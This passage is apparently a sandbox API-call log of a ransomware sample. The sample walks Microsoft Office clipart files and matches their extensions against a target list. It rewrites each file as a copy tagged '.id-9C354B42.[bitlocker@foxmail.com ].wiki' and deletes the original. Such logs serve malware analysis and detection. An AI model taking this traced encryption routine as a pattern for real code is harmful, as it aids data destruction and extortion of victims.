Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.674] lstrlenW (lpString=".dbf") returned 4 [0060.674] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.674] lstrlenW (lpString=".1cd") returned 4 [0060.674] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.674] lstrlenW (lpString=".jpg") returned 4 [0060.674] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.674] lstrlenW (lpString=".doc") returned 4 [0060.674] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.674] lstrlenW (lpString=".docx") returned 5 [0060.674] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.674] lstrlenW (lpString=".pdf") returned 4 [0060.674] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.674] lstrlenW (lpString=".xls") returned 4 [0060.674] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.674] lstrlenW (lpString=".xlsx") returned 5 [0060.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.674] lstrlenW (lpString=".ppt") returned 4 [0060.674] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.674] lstrlenW (lpString=".zip") returned 4 [0060.674] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.674] lstrlenW (lpString=".rar") returned 4 [0060.674] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.674] lstrlenW (lpString=".bz2") returned 4 [0060.674] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.674] lstrlenW (lpString=".7z") returned 3 [0060.674] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.674] lstrlenW (lpString=".dbf") returned 4 [0060.674] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.675] lstrlenW (lpString=".1cd") returned 4 [0060.675] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0060.675] lstrlenW (lpString=".jpg") returned 4 [0060.675] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.675] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.675] lstrlenW (lpString="AG00158_.GIF") returned 12 [0060.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.675] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=5030) returned 1 [0060.675] CloseHandle (hObject=0x180) returned 1 [0060.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0060.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.675] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.675] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0060.676] GetLastError () returned 0x0 [0060.676] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x13a6, lpOverlapped=0x0) returned 1 [0060.681] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0060.682] ReadFile (in: hFile=0x180, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.682] WriteFile (in: hFile=0x20c, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.682] SetEndOfFile (hFile=0x20c) returned 1 [0060.682] CloseHandle (hObject=0x20c) returned 1 [0060.682] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.682] SetEndOfFile (hFile=0x180) returned 1 [0060.683] CloseHandle (hObject=0x180) returned 1 [0060.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0060.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.684] lstrlenW (lpString=".doc") returned 4 [0060.684] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.684] lstrlenW (lpString=".docx") returned 5 [0060.684] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.684] lstrlenW (lpString=".pdf") returned 4 [0060.684] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.684] lstrlenW (lpString=".xls") returned 4 [0060.684] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.684] lstrlenW (lpString=".xlsx") returned 5 [0060.684] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.684] lstrlenW (lpString=".ppt") returned 4 [0060.684] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.684] lstrlenW (lpString=".zip") returned 4 [0060.684] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.684] lstrlenW (lpString=".rar") returned 4 [0060.684] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.684] lstrlenW (lpString=".bz2") returned 4 [0060.684] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.684] lstrlenW (lpString=".7z") returned 3 [0060.684] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.684] lstrlenW (lpString=".dbf") returned 4 [0060.684] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.684] lstrlenW (lpString=".1cd") returned 4 [0060.684] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.684] lstrlenW (lpString=".jpg") returned 4 [0060.685] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.685] lstrlenW (lpString=".doc") returned 4 [0060.685] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.685] lstrlenW (lpString=".docx") returned 5 [0060.685] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.685] lstrlenW (lpString=".pdf") returned 4 [0060.865] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.866] lstrlenW (lpString=".xls") returned 4 [0060.866] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.866] lstrlenW (lpString=".xlsx") returned 5 [0060.866] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.866] lstrlenW (lpString=".ppt") returned 4 [0060.866] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.866] lstrlenW (lpString=".zip") returned 4 [0060.866] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.866] lstrlenW (lpString=".rar") returned 4 [0060.866] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.866] lstrlenW (lpString=".bz2") returned 4 [0060.866] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.866] lstrlenW (lpString=".7z") returned 3 [0060.866] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.866] lstrlenW (lpString=".dbf") returned 4 [0060.866] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.915] lstrlenW (lpString=".1cd") returned 4 [0060.915] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0060.924] lstrlenW (lpString=".jpg") returned 4 [0060.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.924] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0060.924] lstrlenW (lpString="AG00174_.GIF") returned 12 [0060.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.925] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3966) returned 1 [0060.925] CloseHandle (hObject=0x164) returned 1 [0060.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0060.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.934] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.934] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.935] GetLastError () returned 0x0 [0060.935] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xf7e, lpOverlapped=0x0) returned 1 [0060.945] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0060.946] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.946] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.946] SetEndOfFile (hFile=0x214) returned 1 [0060.946] CloseHandle (hObject=0x214) returned 1 [0060.947] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.947] SetEndOfFile (hFile=0x164) returned 1 [0060.947] CloseHandle (hObject=0x164) returned 1 [0060.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0060.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.948] lstrlenW (lpString=".doc") returned 4 [0060.948] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.948] lstrlenW (lpString=".docx") returned 5 [0060.948] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.948] lstrlenW (lpString=".pdf") returned 4 [0060.948] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.948] lstrlenW (lpString=".xls") returned 4 [0060.948] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.948] lstrlenW (lpString=".xlsx") returned 5 [0060.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.948] lstrlenW (lpString=".ppt") returned 4 [0060.948] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.948] lstrlenW (lpString=".zip") returned 4 [0060.948] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.948] lstrlenW (lpString=".rar") returned 4 [0060.948] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.948] lstrlenW (lpString=".bz2") returned 4 [0060.948] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.948] lstrlenW (lpString=".7z") returned 3 [0060.948] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.948] lstrlenW (lpString=".dbf") returned 4 [0060.948] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.949] lstrlenW (lpString=".1cd") returned 4 [0060.949] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.949] lstrlenW (lpString=".jpg") returned 4 [0060.949] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.949] lstrlenW (lpString=".doc") returned 4 [0060.949] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.949] lstrlenW (lpString=".docx") returned 5 [0060.949] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0060.949] lstrlenW (lpString=".pdf") returned 4 [0060.949] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.949] lstrlenW (lpString=".xls") returned 4 [0060.949] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.949] lstrlenW (lpString=".xlsx") returned 5 [0060.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0060.949] lstrlenW (lpString=".ppt") returned 4 [0060.949] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.949] lstrlenW (lpString=".zip") returned 4 [0060.949] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.949] lstrlenW (lpString=".rar") returned 4 [0060.949] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.949] lstrlenW (lpString=".bz2") returned 4 [0060.949] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.949] lstrlenW (lpString=".7z") returned 3 [0060.949] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.949] lstrlenW (lpString=".dbf") returned 4 [0060.949] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.949] lstrlenW (lpString=".1cd") returned 4 [0060.949] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0060.950] lstrlenW (lpString=".jpg") returned 4 [0060.950] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.950] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0060.950] lstrlenW (lpString="AN00010_.WMF") returned 12 [0060.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.951] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3026) returned 1 [0060.951] CloseHandle (hObject=0x164) returned 1 [0060.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0060.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.951] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.951] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.951] GetLastError () returned 0x0 [0060.951] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xbd2, lpOverlapped=0x0) returned 1 [0060.964] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0060.965] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.965] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.966] SetEndOfFile (hFile=0x214) returned 1 [0060.966] CloseHandle (hObject=0x214) returned 1 [0060.966] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.966] SetEndOfFile (hFile=0x164) returned 1 [0060.967] CloseHandle (hObject=0x164) returned 1 [0060.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0060.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.967] lstrlenW (lpString=".doc") returned 4 [0060.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.967] lstrlenW (lpString=".docx") returned 5 [0060.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.967] lstrlenW (lpString=".pdf") returned 4 [0060.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.968] lstrlenW (lpString=".xls") returned 4 [0060.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.968] lstrlenW (lpString=".xlsx") returned 5 [0060.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.968] lstrlenW (lpString=".ppt") returned 4 [0060.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.968] lstrlenW (lpString=".zip") returned 4 [0060.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.968] lstrlenW (lpString=".rar") returned 4 [0060.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.968] lstrlenW (lpString=".bz2") returned 4 [0060.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.968] lstrlenW (lpString=".7z") returned 3 [0060.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.968] lstrlenW (lpString=".dbf") returned 4 [0060.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.968] lstrlenW (lpString=".1cd") returned 4 [0060.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.968] lstrlenW (lpString=".jpg") returned 4 [0060.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0060.968] lstrlenW (lpString="C:\\Program 